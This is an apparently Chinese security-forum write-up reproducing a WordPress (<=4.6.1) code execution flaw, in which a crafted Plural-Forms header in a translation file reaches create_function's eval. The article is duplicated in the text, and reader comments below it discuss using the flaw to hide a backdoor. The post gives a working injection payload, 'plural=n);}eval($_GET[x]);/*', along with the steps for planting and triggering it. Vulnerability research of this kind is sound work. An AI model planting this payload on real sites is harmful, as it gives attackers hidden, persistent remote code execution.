Wordpress<=4.6.1代码执行漏洞复现过程
漏洞介绍:
如果网站使用攻击者提前构造好的语言文件对网站、主题、插件来进行翻译的话,就可以执行任意代码。
利用条件:
1.攻击者可以将自己构造的语言文件上传到网站服务器
2.网站使用攻击者构造的语音文件来对主题、插件进行翻译
影响版本:
<=4.6.1 目前所有版本
复现过程:
1>漏洞产生原理:
wp-includes\pomo\translations.php文件中,第203-209行:这里出现漏洞的是creat_function这个函数,来看下官方对这个函数的解释:
这个函数用eval来执行$code参数的内容,那么我们只要控制了$code这个参数传递来的内容就可以让任意代码被执行了。
这里$code是怎么被eval执行的呢?
那么就要先看一下create_function这个函数的实现过程了:
1.获取参数($args),函数体($code)
2.拼凑一个"function_lambda_func($args){$code;}"的字符串
3.eval这个字符串
4.通过__lamdba_func在函数表中找到eval后获得的函数体,找不到会报错
5.定义一个函数名:"\000_lambda_".count(anoymous_functions)++;
6.用新的函数名替代_lamdba_func;
7.返回新的函数
根据注释可以知道产生漏洞的这段代码创建的函数make_plural_form_function这个函数的作用是根据语言文件的plural forms这个header来创建函数并返回,plural forms中的$nplurals就是函数中的$nplurals,plural forms中的$plural就是函数中的$expression,那么控制语言文件的plural forms中的$plural即可控制$expression,因为$expression是$func_body的主要组成,所以控制了$expression就相当于控制了create_function函数的$code参数。
看下正常的语言文件(wp-content\languages\zh_CN.po):
这里我们将plural修改一下,改为:简单解释一下这个payload(结合上面create_function函数实现步骤理解):
首先呢,)将$n前面那个(闭合,然后;结束$index = (int)($n)这个语句,然后}闭合函数体,然后/*将后面的字符注释掉,那么字符串就变成了:
一个函数和eval($_GET[x]);这个语句。
这样再执行第三步eval,就会把eval($_GET[x]);执行了,因此并不用调用创建的函数,这个代码就被执行了。
2>利用过程:
构造漏洞文件(wp-content\languages\zh_CN.po):用notepad++打开,修改第九行为:然后保存,再用poedit打开修改后的.po文件
点击保存,即可修改.mo文件(.mo文件算是.po文件的编译结果,而系统调用语言文件也是调用的.mo文件)
保存的时候会报错,点确定就好。
然后验证漏洞,打开主页,在url后面添加?x=phpinfo();即可显示phpinfo结果:
参考文献:http://www.tuicool.com/articles/2En2YfJ
http://www.ichunqiu.com/vm/56013/1
http://www.2cto.com/article/201212/177146.html
TCV = 0
如果网站使用攻击者提前构造好的语言文件对网站、主题、插件来进行翻译的话,就可以执行任意代码。
利用条件:
1.攻击者可以将自己构造的语言文件上传到网站服务器
2.网站使用攻击者构造的语音文件来对主题、插件进行翻译
影响版本:
<=4.6.1 目前所有版本
复现过程:
1>漏洞产生原理:
wp-includes\pomo\translations.php文件中,第203-209行:
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
这个函数用eval来执行$code参数的内容,那么我们只要控制了$code这个参数传递来的内容就可以让任意代码被执行了。
这里$code是怎么被eval执行的呢?
那么就要先看一下create_function这个函数的实现过程了:
1.获取参数($args),函数体($code)
2.拼凑一个"function_lambda_func($args){$code;}"的字符串
3.eval这个字符串
4.通过__lamdba_func在函数表中找到eval后获得的函数体,找不到会报错
5.定义一个函数名:"\000_lambda_".count(anoymous_functions)++;
6.用新的函数名替代_lamdba_func;
7.返回新的函数
根据注释可以知道产生漏洞的这段代码创建的函数make_plural_form_function这个函数的作用是根据语言文件的plural forms这个header来创建函数并返回,plural forms中的$nplurals就是函数中的$nplurals,plural forms中的$plural就是函数中的$expression,那么控制语言文件的plural forms中的$plural即可控制$expression,因为$expression是$func_body的主要组成,所以控制了$expression就相当于控制了create_function函数的$code参数。
看下正常的语言文件(wp-content\languages\zh_CN.po):
这里我们将plural修改一下,改为:
"Plural-Forms: nplurals=1; plural=n);}eval($_GET[x]);/*"
首先呢,)将$n前面那个(闭合,然后;结束$index = (int)($n)这个语句,然后}闭合函数体,然后/*将后面的字符注释掉,那么字符串就变成了:
一个函数和eval($_GET[x]);这个语句。
这样再执行第三步eval,就会把eval($_GET[x]);执行了,因此并不用调用创建的函数,这个代码就被执行了。
2>利用过程:
构造漏洞文件(wp-content\languages\zh_CN.po):用notepad++打开,修改第九行为:
"Plural-Forms: nplurals=1; plural=n);}eval($_GET[x]);/*"
点击保存,即可修改.mo文件(.mo文件算是.po文件的编译结果,而系统调用语言文件也是调用的.mo文件)
保存的时候会报错,点确定就好。
然后验证漏洞,打开主页,在url后面添加?x=phpinfo();即可显示phpinfo结果:
参考文献:http://www.tuicool.com/articles/2En2YfJ
http://www.ichunqiu.com/vm/56013/1
http://www.2cto.com/article/201212/177146.html
TCV = 0
评论13次
wordpress 又已被玩坏- -
看到标题我惊呆了`
我在想利用条件 “攻击者可以将自己构造的语言文件上传到网站服务器” ,都可以上传文件,为什么不上次shell,或者说这个漏洞就是为了多留一个后门
吓一大跳,还以为直接GETSHELL。
好像确实只能留后门用,要先拿下站,算是一种隐藏木马的方法吧
能上传文件覆盖,可以直接获取webshell吧
这个覆盖有点麻烦,有的人会重构部分代码,不太安全
个人觉得,最大的用途就是留后门…
"攻击者可以将自己构造的语言文件上传到网站服务器",能上传这个了为啥不shell..不是太懂..
楼下说的对,其实这个漏洞真心没啥用,留后门用着还可以
"攻击者可以将自己构造的语言文件上传到网站服务器",能上传这个了为啥不shell..不是太懂..
语言文件不是php。。。。
"攻击者可以将自己构造的语言文件上传到网站服务器",能上传这个了为啥不shell..不是太懂..
这个覆盖有点麻烦,有的人会重构部分代码,不太安全
好6啊 文中利用条件攻击者可以将自己构造的语言文件上传到网站服务器 不懂 是任意上传位置上传吗
并不是,必须覆盖语言文件
好6啊 文中利用条件攻击者可以将自己构造的语言文件上传到网站服务器 不懂 是任意上传位置上传吗